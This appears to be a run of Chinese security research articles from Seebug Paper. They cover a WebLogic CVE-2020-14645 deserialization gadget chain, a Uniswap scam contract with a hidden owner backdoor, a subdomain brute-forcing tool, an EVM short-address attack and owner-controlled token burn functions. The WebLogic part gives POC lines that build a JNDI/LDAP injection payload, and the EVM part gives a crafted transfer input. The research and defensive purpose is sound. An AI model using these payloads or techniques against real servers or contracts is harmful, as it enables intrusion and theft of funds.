12345678910111213java.util.PriorityQueue.readObject()java.util.PriorityQueue.heapify()java.util.PriorityQueue.siftDown()java.util.PriorityQueue.siftDownUsingComparator()com.tangosol.util.extractor.AbstractExtractor.compare()com.tangosol.util.extractor.MultiExtractor.extract()com.tangosol.util.extractor.ChainedExtractor.extract()com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883Method.invoke()//...Method.invoke()//...Runtime.exec()CVE-2020-14645
ReflectionExtractor与MvelExtractor 被加入了黑名单,如果我们能找到一个类(类的extract函数中有可控的反射操作),便可继续该链条(这里我们有的是readObject ---> compare ----> extract ---> 多个类的extract -->
extract中可控反射)。可采用这个类com.tangosol.util.extractor.UniversalExtractor#extract。
遗憾的是其被transient修饰,被transient关键字修饰的变量不再能被序列化。
但是此处在75行对oTarget传入了extractComplex方法。
又见希望,该方法中也存在可控反射。
值得注意的是,两条method获取方法只能从第一个if去取,原因是else中需要确保
fProperty==false
, 然而184行中m_fMethod存在transient修饰,被transient关键字修饰的变量不再能被序列化因此无法构建序列化字节流。而在if条件中收到参数影响有
sBeanAttribute--> sCName--->this.getCanonicalName()
,这里做的工作就是187行对sCName首字母大写并将其与BEAN_ACCESSOR_PREFIXES列表的值进行拼接,取到则停止返回method。那么
BEAN_ACCESSOR_PREFIXES
列表是什么样的呢?其存储了get和is两个字符串。因此,在拼接的时候,只能形成get___或者is___这样的方法调用。于是可以利用 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()方法进行反射调用构建JNDI注入,这也是为什么之前都是利用原有的ReflectionExtractor直接反射到Runtime类执行而这里却只能发起JNDI请求在低版本的JDk来执行代码。
POC逻辑
在POC构造上,先初始化JDBC对象,设置this.m_sName参数为getDatabaseMetaData()
12JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc");UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);然后是关键点的sName会被去掉前缀,因此后面要进行拼接。
依旧让queue使用ExtractorComparator这个比较器。
12final ExtractorComparator comparator = new ExtractorComparator(extractor);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);对该queue实例设置成员变量(反射)。此处让该实例queue拥有两个成员变量,一个是queue,值为new Object[]{rowSet, rowSet},一个是size,值为2。这里用了写的Reflections工具类,当然也可以一点点用反射进行设置。
12Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet});Reflections.setFieldValue(queue, "size", 2);POC可以参考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
收到的LDAP请求:
该CVE漏洞利用服务器有JDK条件,且只能在Weblogic Server 12.2.1.4.*存在。
LDAP: < JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121
参考文章
[1]利用docker远程动态调试weblogic
https://blog.csdn.net/sojrs_sec/article/details/103237150
[2]官方下载
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
[3]官方安装指引
[4] JAVA 反射
https://www.jianshu.com/p/9be58ee20dee
[5]patch for CVE-2020-2555
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555
[6]Quynh Le向ZDI提交漏洞
https://www.zerodayinitiative.com/advisories/ZDI-20-570/
[7]patch for CVE-2020-2883
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2883
https://www.oracle.com/security-alerts/cpuapr2020.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1321/
-
Defi?Uniswap 项目漏洞教程新骗局
作者:极光 @ 知道创宇404区块链安全研究团队
时间:2020年8月31日前言
昨晚突然看到群里的一个消息,
揭秘uniswap-defi项目漏洞-割韭菜新手法
,心想还有这事?而且还是中英文介绍。到底什么是
DeFi
?,网络上有很多关于DeFi
的定义,目前通用的定义是这样的:DeFi是自己掌握私钥,以数字货币为主体的金融业务
这个定义包含三个层面的意思:- 自己掌握私钥
- 以数字货币为主体
- 金融业务
DeFi是Decentralized Finance(去中心化金融)的缩写,也被称做Open Finance。它实际是指用来构建开放式金融系统的去中心化协议,旨在让世界上任何一个人都可以随时随地进行金融活动。
在现有的金融系统中,金融服务主要由中央系统控制和调节,无论是最基本的存取转账、还是贷款或衍生品交易。DeFi则希望通过分布式开源协议建立一套具有透明度、可访问性和包容性的点对点金融系统,将信任风险最小化,让参与者更轻松便捷地获得融资。
几年前区块链行业还没有
DeFi
这个概念,从默默无闻,一跃成为区块链行业的热门话题,DeFi
只用了短短几年时间。Uniswap
作为完全部署在以太坊链上的DEX平台,促进ETH和ERC20 代币数字资产之间的自动兑换交易,为DeFi
发展提供了良好的支持。作者抓住当下区块链热门话题
DeFi
作为文章主题介绍如何利用uniswap-defi项目漏洞
割韭菜。很显然经过精心思考。分析
打开教程链接,原文教程提醒
1Full open source code----only for research and testing, don't cheat using this method作者特别提醒:完全开放源码----仅用于研究和测试,不要使用这种方法作弊。
教程中提到合约代码可以在如下链接下载
12Click to enter edit mode and copy the code into it(download address of the contract code:https://wwr.lanzous.com/i4MJOg6f2rg)根据教程提供的链接,下载代码查看
首先看到
onlyOwner
函数,而且条件判断中的address是硬编码的,这里说一下以太坊中的地址- 以太坊地址
以太坊中的地址的长度为20字节,一字节等于8位,一共160位,所以address其实亦可以用uint160来声明。以太坊钱包地址是以16进制的形式呈现,我们知道一个十六进制的数字占4位,160 / 4 = 40,所以钱包地址ca35b7d915458ef540ade6068dfe2f44e8fa733c的长度为40。
很明显,攻击者特意使用uint160来编码地址,起到了障眼法作用。如果不认真看,不会注意到这个address函数转换后的地址。
通过对地址进行转换
即:
address(724621317456347144876435459248886471299600550182)
对应地址:0x7eed24C6E36AD2c4fef31EC010fc384809050926
,这个地址即位合约实际控制账户地址。继续往下看原文教程
首先部署合约
然后添加到
Uniswap v1
资金池这里介绍下
Uniswap
- Uniswap V1
Uniswap V1基于以太坊区块链为人们提供去中心化的代币兑换服务。Uniswap V1提供了ETH以及ERC20代币兑换的流动性池,它具有当前DeFi项目中最引人注目的去中心化、无须许可、不可停止等特性。
Uniswap V1实现了一种不需要考虑以上特点的去中心化交易所。它不需要用户进行挂单(没有订单),不需要存在需求重叠,可以随买随卖。得益于 ERC20 代币的特性,它也不需要用户将资产存入特定的账户。Uniswap V1模型的优点在于根据公式自动定价,通过供需关系实现自动调价。
Uniswap V1的运行机制的关键在于建立了供给池,这个供给池中存储了 A 和 B 两种货币资产。用户在用 A 兑换 B 的过程中,用户的 A 会发送到供给池,使供给池中的 A 增多,同时,供给池的 B 会发送给用户。这里的关键的问题在于如何给 A 和 B 的兑换提供一个汇率(定价)。 Uniswap V1定价模型非常简洁,它的核心思想是一个简单的公式 x * y = k 。其中 x 和 y 分别代表两种资产的数量,k 是两种资产数量的乘积。
假设乘积 k 是一个固定不变的常量,可以确定当变量 x 的值越大,那么 y 的值就越小;相反 x 的值越小,y 的值就越大。据此可以得出当 x 被增大 p 时,需要将 y 减少 q 才能保持等式的恒定。 为了做一些更实用的工作,将 x 和 y 替换为货币储备金的储备量,这些储备金将被存储在智能合约中。
即用户可以把部署的合约可以添加到
Uniswap V1
中,通过充入资产提供流动性,获得该资金池(交易对)产生的交易手续费分红,过程完全去中心化、无审核上币。接着
1You don't have to worry that you will lose money, because other people can only buy and can't sell it in this contract. When the trading pair is created, you can change for another wallet (the wallet address of the contract can be bought and sold) to buy it, and then test whether it can be sold. Here's the information for selling`这是为什么?看看代码
合约代币101行,
require(allow[_from] == true)
,即转账地址from
需要在allow
这个mapping中为布尔值true
。而修改
allow
在addAllow
函数中,且需要合约Owner
权限。通过合约
Ownable
代码第13行可知,onlyOwner
属性中,只有地址为724621317456347144876435459248886471299600550182
即前面提到的0x7eed24C6E36AD2c4fef31EC010fc384809050926
用户可以通过校验,而且是硬编码。这也是原文攻击者为什么使用了以太坊地址的uint160格式来编码地址,而不是直观的十六进制地址。最终部署的合约SoloToken直接继承了
Ownable
合约即只要用户部署该合约,合约
Owner
权限都在攻击者0x7eed24C6E36AD2c4fef31EC010fc384809050926
手中。攻击者可以随时转移合约权限。在教程中攻击者还提到
如果你想吸引买家,资金池必须足够大,如果只投入1-2个ETH,其他人将无法购买它,因为基金池太小。即希望部署合约的用户在资金池中添加更多的eth数量。攻击者为什么要单独
Notice
呢?合约代码第124行,
mint
函数,Owner
权限用户可以直接增发代币。这是合约最关键部分。即攻击者可以直接在合约中给指定地址增发代币,然后利用增发得来的代币去Uniswap V1
直接兑换合约部署用户存放在Uniswap V1
资金池中的eth
。这也是为啥教程作者着重提示多添加eth
数量的根本原因。截止目前,攻击者地址
0x7eed24C6E36AD2c4fef31EC010fc384809050926
中已经获利大约36eth
。总结
Uniswap
因无需订单薄即可交易的模型创新引来赞誉,也因投机者和诈骗者的涌入遭到非议,在业内人士看来,Uniswap
的自动做市商机制有着特别的价值,作恶的不是Uniswap
,但恶意与贪婪正在这个去中心化协议中一览无余。流动性挖矿点燃DeFi烈火,火势烧到去中心化交易所Uniswap。它凭借支持一键兑币、做市可获手续费分红,迅速成为最炙手可热的DeFi应用之一。
财富故事在这里上演,某个新币种可能在一天之内制造出数十倍的涨幅,让参与者加快实现「小目标」;泡沫和罪恶也在此滋生,完全去中心化、无审核上币,让Uniswap成了人人可发币割韭菜的温床。
DeFi
作为当下区块链热门话题,很容易吸引人们的注意。攻击者利用人们贪图便宜的好奇心理。使用所谓的uniswap-defi项目漏洞
教程一步一步带用户入坑。以当下区块链中最火的DeFi
类为主题,分享了揭秘uniswap-defi项目漏洞-割韭菜新手法
教程。如果用户不注意看合约代码,很容易掉入攻击者精心构造的陷阱中去。成为真正的韭菜
。REF
[1] UNISWAP issuing tokens-enhancing tokens (consumers can only buy but can not sell)
https://note.youdao.com/ynoteshare1/index.html?id=a41d926f5bcbe3f69ddef765ced5e27b&type=note?auto
[2] 代币合约
https://wwr.lanzous.com/i4MJOg6f2rg
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1323/
-
ksubdomain 无状态域名爆破工具
作者:w7ay@知道创宇404实验室
时间:2020年9月2日前言
在渗透测试信息中我们可能需要尽可能收集域名来确定资产边界。
在写自动化渗透工具的时候苦与没有好用的子域名爆破工具,于是自己就写了一个。
Ksubdomain是一个域名爆破/验证工具,它使用Go编写,支持在Windows/Linux/Mac上运行,在Mac和Windows上最大发包速度在30w/s,linux上为160w/s的速度。
总的来说,ksubdomain能爆破/验证域名,并且快和准确。
什么是无状态
无状态连接是指无需关心TCP,UDP协议状态,不占用系统协议栈 资源,忘记syn,ack,fin,timewait ,不进行会话组包。在实现上也有可能需要把必要的信息存放在数据包本身中。如13年曾以44分钟扫描完全部互联网zmap,之后出现的massscan, 都使用了这种无状态技术,扫描速度比以往任何工具都有质的提升,后者更是提出了3分钟扫完互联网的极速。
zmap/masscan都是基于tcp协议来扫描端口的(虽然它们也有udp扫描模块),相比它们,基于无状态来进行DNS爆破更加容易,我们只需要发送一个udp包,等待DNS服务器的应答即可。
目前大部分开源的域名爆破工具都是基于系统socket发包,不仅会占用系统网络,让系统网络阻塞,且速度始终会有限制。
ksubdomain使用pcap发包和接收数据,会直接将数据包发送至网卡,不经过系统,使速度大大提升。
ksubdomain提供了一个
-test
参数,使用它可以测试本地最大发包数,使用ksubdomain -test
在Mac下的运行结果,每秒30w左右
发包的多少还和网络相关,ksubdomain将网络参数简化为了
-b
参数,输入你的网络下载速度如-b 5m
,ksubdomain就会自动限制发包速度。状态表
由于又是udp协议,数据包丢失的情况很多,所以ksubdomain在程序中建立了“状态表”,用于检测数据包的状态,当数据包发送时,会记录下状态,当收到了这个数据包的回应时,会从状态表去除,如果一段时间发现数据包没有动作,便可以认为这个数据包已经丢失了,于是会进行重发,当重发到达一定次数时,就可以舍弃该数据包了。
上面说ksubdomain是无状态发包,如何建立确认状态呢?
根据DNS协议和UDP协议的一些特点,DNS协议中ID字段,UDP协议中SrcPort字段可以携带数据,在我们收到返回包时,这些字段的数据不会改变。所以利用这些字段的值来确认这个包是我们需要的,并且找到状态表中这个包的位置。
通过状态表基本可以解决漏包,可以让准确度达到一个满意的范围,但与此同时会发送更多的数据包和消耗一些时间来循环判断。
通过
time ./ksubdomain -d baidu.com -b 1m
使用ksubdomain内置的字典跑一遍baidu.com域名,大概10w字典在2分钟左右跑完,并找到1200多子域名。Useage
从releases下载二进制文件。
在linux下,还需要安装
libpcap-dev
,在Windows下需要安装WinPcap
,mac下可以直接使用。12345678910111213141516171819202122232425262728293031323334_ __ _____ _ _ _| |/ / / ____| | | | | (_)| ' / | (___ _ _| |__ __| | ___ _ __ ___ __ _ _ _ __| < \___ \| | | | '_ \ / _| |/ _ \| '_ _ \ / _ | | '_ \| . \ ____) | |_| | |_) | (_| | (_) | | | | | | (_| | | | | ||_|\_\ |_____/ \__,_|_.__/ \__,_|\___/|_| |_| |_|\__,_|_|_| |_|Usage of ./ksubdomain:-b string宽带的下行速度,可以5M,5K,5G (default "1M")-d string爆破域名-dl string从文件中读取爆破域名-e int默认网络设备ID,默认-1,如果有多个网络设备会在命令行中选择 (default -1)-f string字典路径,-d下文件为子域名字典,-verify下文件为需要验证的域名-l int爆破域名层级,默认爆破一级域名 (default 1)-o string输出文件路径-s stringresolvers文件路径,默认使用内置DNS-silent使用后屏幕将不会输出结果-skip-wild跳过泛解析的域名-test测试本地最大发包数-ttl导出格式中包含TTL选项-verify验证模式一些常用命令
1234567891011121314151617使用内置字典爆破ksubdomain -d seebug.org使用字典爆破域名ksubdomain -d seebug.org -f subdomains.dict字典里都是域名,可使用验证模式ksubdomain -f dns.txt -verify爆破三级域名ksubdomain -d seebug.org -l 2通过管道爆破echo "seebug.org"|ksubdomain通过管道验证域名echo "paper.seebug.org"|ksubdomain -verify管道操作
借助知名的
subfinder
,httpx
等工具,可以用管道结合在一起配合工作。1./subfinder -d baidu.com -silent|./ksubdomain -verify -silent|./httpx -title -content-length -status-codesubfinder 通过各种搜索引擎获取域名
ksubdomain 验证域名
httpx http请求获得数据,验证存活
Knownsec 404 Team星链计划
ksubdomain 是Knownsec 404 Team星链计划中的一员。
“404星链计划”是知道创宇404实验室于2020年8月开始的计划,旨在通过开源或者开放的方式,长期维护并推进涉及安全研究各个领域不同环节的工具化,就像星链一样,将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具,也会包括涉及到优化日常使用体验的各种小工具,除了404本身的工具开放以外,也会不断收集安全研究、渗透测试过程中的痛点,希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题,营造一个更好更开放的安全工具促进与交流的技术氛围。
开源地址
ksubdomain完全开源,任何人可以在此基础上修改或提交代码。
GitHub:https://github.com/knownsec/ksubdomain
欢迎加入讨论群, 微信群有两种添加方式:
(1) 联系Seebug的各位小伙伴拉你入群,如:
(2) 扫描以下二维码添加微信,添加请备注“星链计划”,我们会把大家拉到星链计划交流群中。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1325/
-
以太坊安全之 EVM 与短地址攻击
作者:昏鸦@知道创宇404区块链安全研究团队
时间:2020年8月18日前言
以太坊(Ethereum)是一个开源的有智能合约功能的公共区块链平台,通过其专用加密货币以太币(ETH)提供去中心化的以太坊虚拟机(EVM)来处理点对点合约。EVM(Ethereum Virtual Machine),以太坊虚拟机的简称,是以太坊的核心之一。智能合约的创建和执行都由EVM来完成,简单来说,EVM是一个状态执行的机器,输入是solidity编译后的二进制指令和节点的状态数据,输出是节点状态的改变。
以太坊短地址攻击,最早由Golem团队于2017年4月提出,是由于底层EVM的设计缺陷导致的漏洞。ERC20代币标准定义的转账函数如下:
function transfer(address to, uint256 value) public returns (bool success)
如果传入的
to
是末端缺省的短地址,EVM会将后面字节补足地址,而最后的value
值不足则用0填充,导致实际转出的代币数值倍增。本文从以太坊源码的角度分析EVM底层是如何处理执行智能合约字节码的,并简要分析短地址攻击的原理。
EVM源码分析
evm.go
EVM的源码位于
go-ethereum/core/vm/
目录下,在evm.go
中定义了EVM结构体,并实现了EVM.Call
、EVM.CallCode
、EVM.DelegateCall
、EVM.StaticCall
四种方法来调用智能合约,EVM.Call
实现了基本的合约调用的功能,后面三种方法与EVM.Call
略有区别,但最终都调用run
函数来解析执行智能合约EVM.Call
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172// Call executes the contract associated with the addr with the given input as// parameters. It also handles any necessary value transfer required and takes// the necessary steps to create accounts and reverses the state in case of an// execution error or failed value transfer.//hunya// 基本的合约调用func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) {if evm.vmConfig.NoRecursion && evm.depth > 0 {return nil, gas, nil}// Fail if we're trying to execute above the call depth limitif evm.depth > int(params.CallCreateDepth) {return nil, gas, ErrDepth}// Fail if we're trying to transfer more than the available balanceif !evm.Context.CanTransfer(evm.StateDB, caller.Address(), value) {return nil, gas, ErrInsufficientBalance}var (to = AccountRef(addr)snapshot = evm.StateDB.Snapshot())if !evm.StateDB.Exist(addr) {precompiles := PrecompiledContractsHomesteadif evm.chainRules.IsByzantium {precompiles = PrecompiledContractsByzantium}if evm.chainRules.IsIstanbul {precompiles = PrecompiledContractsIstanbul}if precompiles[addr] == nil && evm.chainRules.IsEIP158 && value.Sign() == 0 {// Calling a non existing account, don't do anything, but ping the tracerif evm.vmConfig.Debug && evm.depth == 0 {evm.vmConfig.Tracer.CaptureStart(caller.Address(), addr, false, input, gas, value)evm.vmConfig.Tracer.CaptureEnd(ret, 0, 0, nil)}return nil, gas, nil}evm.StateDB.CreateAccount(addr)}evm.Transfer(evm.StateDB, caller.Address(), to.Address(), value)// Initialise a new contract and set the code that is to be used by the EVM.// The contract is a scoped environment for this execution context only.contract := NewContract(caller, to, value, gas)contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))// Even if the account has no code, we need to continue because it might be a precompilestart := time.Now()// Capture the tracer start/end events in debug mode// debug模式会捕获tracer的start/end事件if evm.vmConfig.Debug && evm.depth == 0 {evm.vmConfig.Tracer.CaptureStart(caller.Address(), addr, false, input, gas, value)defer func() { // Lazy evaluation of the parametersevm.vmConfig.Tracer.CaptureEnd(ret, gas-contract.Gas, time.Since(start), err)}()}ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约// When an error was returned by the EVM or when setting the creation code// above we revert to the snapshot and consume any gas remaining. Additionally// when we're in homestead this also counts for code storage gas errors.if err != nil {evm.StateDB.RevertToSnapshot(snapshot)if err != errExecutionReverted {contract.UseGas(contract.Gas)}}return ret, contract.Gas, err}EVM.CallCode
12345678910111213141516171819202122232425262728293031323334353637383940// CallCode executes the contract associated with the addr with the given input// as parameters. It also handles any necessary value transfer required and takes// the necessary steps to create accounts and reverses the state in case of an// execution error or failed value transfer.//// CallCode differs from Call in the sense that it executes the given address'// code with the caller as context.//hunya// 类似solidity中的call函数,调用外部合约,执行上下文在被调用合约中func (evm *EVM) CallCode(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) {if evm.vmConfig.NoRecursion && evm.depth > 0 {return nil, gas, nil}// Fail if we're trying to execute above the call depth limitif evm.depth > int(params.CallCreateDepth) {return nil, gas, ErrDepth}// Fail if we're trying to transfer more than the available balanceif !evm.CanTransfer(evm.StateDB, caller.Address(), value) {return nil, gas, ErrInsufficientBalance}var (snapshot = evm.StateDB.Snapshot()to = AccountRef(caller.Address()))// Initialise a new contract and set the code that is to be used by the EVM.// The contract is a scoped environment for this execution context only.contract := NewContract(caller, to, value, gas)contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约if err != nil {evm.StateDB.RevertToSnapshot(snapshot)if err != errExecutionReverted {contract.UseGas(contract.Gas)}}return ret, contract.Gas, err}EVM.DelegateCall
123456789101112131415161718192021222324252627282930313233// DelegateCall executes the contract associated with the addr with the given input// as parameters. It reverses the state in case of an execution error.//// DelegateCall differs from CallCode in the sense that it executes the given address'// code with the caller as context and the caller is set to the caller of the caller.//hunya// 类似solidity中的delegatecall函数,调用外部合约,执行上下文在调用合约中func (evm *EVM) DelegateCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {if evm.vmConfig.NoRecursion && evm.depth > 0 {return nil, gas, nil}// Fail if we're trying to execute above the call depth limitif evm.depth > int(params.CallCreateDepth) {return nil, gas, ErrDepth}var (snapshot = evm.StateDB.Snapshot()to = AccountRef(caller.Address()))// Initialise a new contract and make initialise the delegate valuescontract := NewContract(caller, to, nil, gas).AsDelegate()contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约if err != nil {evm.StateDB.RevertToSnapshot(snapshot)if err != errExecutionReverted {contract.UseGas(contract.Gas)}}return ret, contract.Gas, err}EVM.StaticCall
1234567891011121314151617181920212223242526272829303132333435363738394041// StaticCall executes the contract associated with the addr with the given input// as parameters while disallowing any modifications to the state during the call.// Opcodes that attempt to perform such modifications will result in exceptions// instead of performing the modifications.//hunya// 与EVM.Call类似,但不允许执行会修改永久存储的数据的指令func (evm *EVM) StaticCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {if evm.vmConfig.NoRecursion && evm.depth > 0 {return nil, gas, nil}// Fail if we're trying to execute above the call depth limitif evm.depth > int(params.CallCreateDepth) {return nil, gas, ErrDepth}var (to = AccountRef(addr)snapshot = evm.StateDB.Snapshot())// Initialise a new contract and set the code that is to be used by the EVM.// The contract is a scoped environment for this execution context only.contract := NewContract(caller, to, new(big.Int), gas)contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))// We do an AddBalance of zero here, just in order to trigger a touch.// This doesn't matter on Mainnet, where all empties are gone at the time of Byzantium,// but is the correct thing to do and matters on other networks, in tests, and potential// future scenariosevm.StateDB.AddBalance(addr, bigZero)// When an error was returned by the EVM or when setting the creation code// above we revert to the snapshot and consume any gas remaining. Additionally// when we're in Homestead this also counts for code storage gas errors.ret, err = run(evm, contract, input, true)//hunya// 调用run函数执行合约if err != nil {evm.StateDB.RevertToSnapshot(snapshot)if err != errExecutionReverted {contract.UseGas(contract.Gas)}}return ret, contract.Gas, err}run
函数前半段是判断是否是以太坊内置预编译的特殊合约,有单独的运行方式后半段则是对于一般的合约调用解释器
interpreter
去执行调用interpreter.go
解释器相关代码在
interpreter.go
中,interpreter
是一个接口,目前仅有EVMInterpreter
这一个具体实现合约经由
EVM.Call
调用Interpreter.Run
来到EVMInpreter.Run
EVMInterpreter
的Run
方法代码较长,其中处理执行合约字节码的主循环如下:大部分代码主要是检查准备运行环境,执行合约字节码的核心代码主要是以下3行
12345op = contract.GetOp(pc)operation := in.cfg.JumpTable[op]......res, err = operation.execute(&pc, in, contract, mem, stack)......interpreter
的主要工作实际上只是通过JumpTable
查找指令,起到一个翻译解析的作用最终的执行是通过调用
operation
对象的execute
方法jump_table.go
operation
的定义位于jump_table.go
中jump_table.go
中还定义了JumpTable
和多种不同的指令集在基本指令集中有三个处理
input
的指令,分别是CALLDATALOAD
、CALLDATASIZE
和CALLDATACOPY
jump_table.go
中的代码同样只是起到解析的功能,提供了指令的查找,定义了每个指令具体的执行函数instructions.go
instructions.go
中是所有指令的具体实现,上述三个函数的具体实现如下:这三个函数的作用分别是从
input
加载参数入栈、获取input
大小、复制input
中的参数到内存我们重点关注
opCallDataLoad
函数是如何处理input
中的参数入栈的opCallDataLoad
函数调用getDataBig
函数,传入contract.Input
、stack.pop()
和big32
,将结果转为big.Int
入栈getDataBig
函数以stack.pop()
栈顶元素作为起始索引,截取input
中big32
大小的数据,然后传入common.RightPadBytes
处理并返回其中涉及到的另外两个函数
math.BigMin
和common.RightPadBytes
如下:123456789101112131415161718//file: go-thereum/common/math/big.gofunc BigMin(x, y *big.Int) *big.Int {if x.Cmp(y) > 0 {return y}return x}//file: go-ethereum/common/bytes.gofunc RightPadBytes(slice []byte, l int) []byte {if l <= len(slice) {return slice}//右填充0x00至l位padded := make([]byte, l)copy(padded, slice)return padded}分析到这里,基本上已经能很明显看到问题所在了
RightPadBytes
函数会将传入的字节切片右填充至l
位长度,而l
是被传入的big32
,即32位长度所以在短地址攻击中,调用的
transfer(address to, uint256 value)
函数,如果to
是低位缺省的地址,由于EVM在处理时是固定截取32位长度的,所以会将value
数值高位补的0算进to
的末端,而在截取value
时由于位数不够32位,则右填充0x00
至32位,最终导致转账的value
指数级增大测试与复现
编写一个简单的合约来测试
1234567891011121314151617181920212223242526272829303132pragma solidity ^0.5.0;contract Test {uint256 internal _totalSupply;mapping(address => uint256) internal _balances;event Transfer(address indexed from, address indexed to, uint256 value);constructor() public {_totalSupply = 1 * 10 ** 18;_balances[msg.sender] = _totalSupply;}function totalSupply() external view returns (uint256) {return _totalSupply;}function balanceOf(address account) external view returns (uint256) {return _balances[account];}function transfer(address to,uint256 value) public returns (bool) {require(to != address(0));require(_balances[msg.sender] >= value);require(_balances[to] + value >= _balances[to]);_balances[msg.sender] -= value;_balances[to] += value;emit Transfer(msg.sender, to, value);}}remix部署,调用
transfer
发起正常的转账input
为0xa9059cbb00000000000000000000000071430fd8c82cc7b991a8455fc6ea5b37a06d393f0000000000000000000000000000000000000000000000000000000000000001
直接尝试短地址攻击,删去转账地址的后两位,会发现并不能通过,remix会直接报错
这是因为
web3.js
做了校验,web3.js
是用户与以太坊节点交互的媒介源码复现
通过源码函数复现如下:
实际复现
至于如何完成实际场景的攻击,可以参考文末的链接[1],利用
web3.eth.sendSignedTransaction
绕过限制实际上,
web3.js
做的校验仅限于显式传入转账地址的函数,如web3.eth.sendTransaction
这种,像web3.eth.sendSignedTransaction
、web3.eth.sendRawTransaction
这种传入的参数是序列化后的数据的就校验不了,是可以完成短地址攻击的,感兴趣的可以自己尝试,这里就不多写了PS:文中分析的
go-ethereum
源码版本是commit-fdff182
,源码与最新版有些出入,但最新版的也未修复这种缺陷(可能官方不认为这是缺陷?),分析思路依然可以沿用思考
以太坊底层EVM并没有修复短地址攻击的这么一个缺陷,而是直接在
web3.js
里对地址做的校验,目前各种合约或多或少也做了校验,所以虽然EVM底层可以复现,但实际场景中问题应该不大,但如果是开放RPC的节点可能还是会存在这种风险另外还有一个点,按底层EVM的这种机制,易受攻击的应该不仅仅是
transfer(address to, uint256 value)
这个点,只是因为这个函数是ERC20代币标准,而且参数的设计恰好能导致涉及金额的短地址攻击,并且特殊的地址易构造,所以这个函数常作为短地址攻击的典型。在其他的一些非代币合约,如竞猜、游戏类的合约中,一些非转账类的事务处理函数中,如果不对类似地址这种的参数做长度校验,可能也存在类似短地址攻击的风险,也或者并不局限于地址,可能还有其他的利用方式还没挖掘出来。参考
[1] 以太坊短地址攻击详解
[2] 以太坊源码解析:evm
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1296/
-
智能合约中的那些后门漏洞
作者:Al1ex @ 知道创宇404区块链安全研究团队
时间:2020年8月20日前言
智能合约的概念可以追溯到1994年,由Nick Szabo提出,但直到2008年才出现采用智能合约所需的区块链技术,而最终于2013年,作为以太坊智能合约系统的一部分,智能合约首次出现。
智能合约包含了有关交易的所有信息,只有在满足要求后才会执行结果操作,智能合约和传统纸质合约的区别在于智能合约是由计算机生成的,因此,代码本身解释了参与方的相关义务,与此同时,用户可以根据规则开发自己想要的智能合约。
而随着智能合约普及,合约的安全问题也引起了众多合约开发者和安全研究人员关注,比较典型的就是随之建立的DASP Top10( https://www.dasp.co/)。近期,笔者在对一些智能合约进行代码审计时发现有很多合约存在可疑的后门漏洞,具备特殊权限的地址用户(合约的owner)或合约账号具备控制用户资产的权限,可对任意用户的资产进行销毁操作,本文将对此进行简要分析。近期,笔者在对一些智能合约进行代码审计时发现有很多合约存在可疑的后门漏洞,具备特殊权限的地址用户(合约的owner)或合约账号具备控制用户资产的权限,可对任意用户的资产进行销毁操作,本文将对此进行简要分析。
函数漏洞
burn()
合约地址:https://etherscan.io/address/0x705051bbfd9f287869a412cba8bc7d112de48e69#code
利用条件:合约的owner权限
漏洞代码:
漏洞分析:如上图所示在智能合约中提供了burn函数,该函数主要用于销毁其它地址的token,当要销毁的token数量小于目标账户所拥有的token值时就可以成功销毁目标账户的token,且这里的地址可以指定为任意用户的地址,所以只要我们能够调用该函数即可通过赋予_ from为任意地址账户,_ unitAmout为任意数量(不超过from账户拥有的数量)就可以销毁_from账户的代币,下面我们再来看一下此处对于函数调用者身份限定的修饰器—onlyOwner
由以上代码可知,当函数的调用者为合约的owner地址账户时可以销毁任意地址用户的代币,甚至将其归0
burnFrom()
合约地址:https://etherscan.io/address/0x365542df3c8c9d096c5f0de24a0d8cf33c19c8fd#code
利用条件:合约的owner,同时mintingFinished为"False"
漏洞代码:
漏洞分析:如上图所示合约中的burnFrom函数用于销毁代币,但是该函数只能被合约的owner调用,而且由于地址参数可控故合约的owner可以操控任意地址用户的代币,销毁任意地址用户任意数量的代币(数量小于等于用户代币总量),由于该函数被canMint修饰,所以查看一下该修饰器
之后通过"Read Contract"来查看当前"mintingFinished"的值:
可以看到"mintingFinished"为"False",即满足"canMint"修饰器条件,所以此时的burnFrom函数可被合约的owner调用来操控任意用户的代币。
burnTokens
合约地址:https://etherscan.io/address/0x662abcad0b7f345ab7ffb1b1fbb9df7894f18e66#code
利用条件:合约的owner权限
漏洞代码:
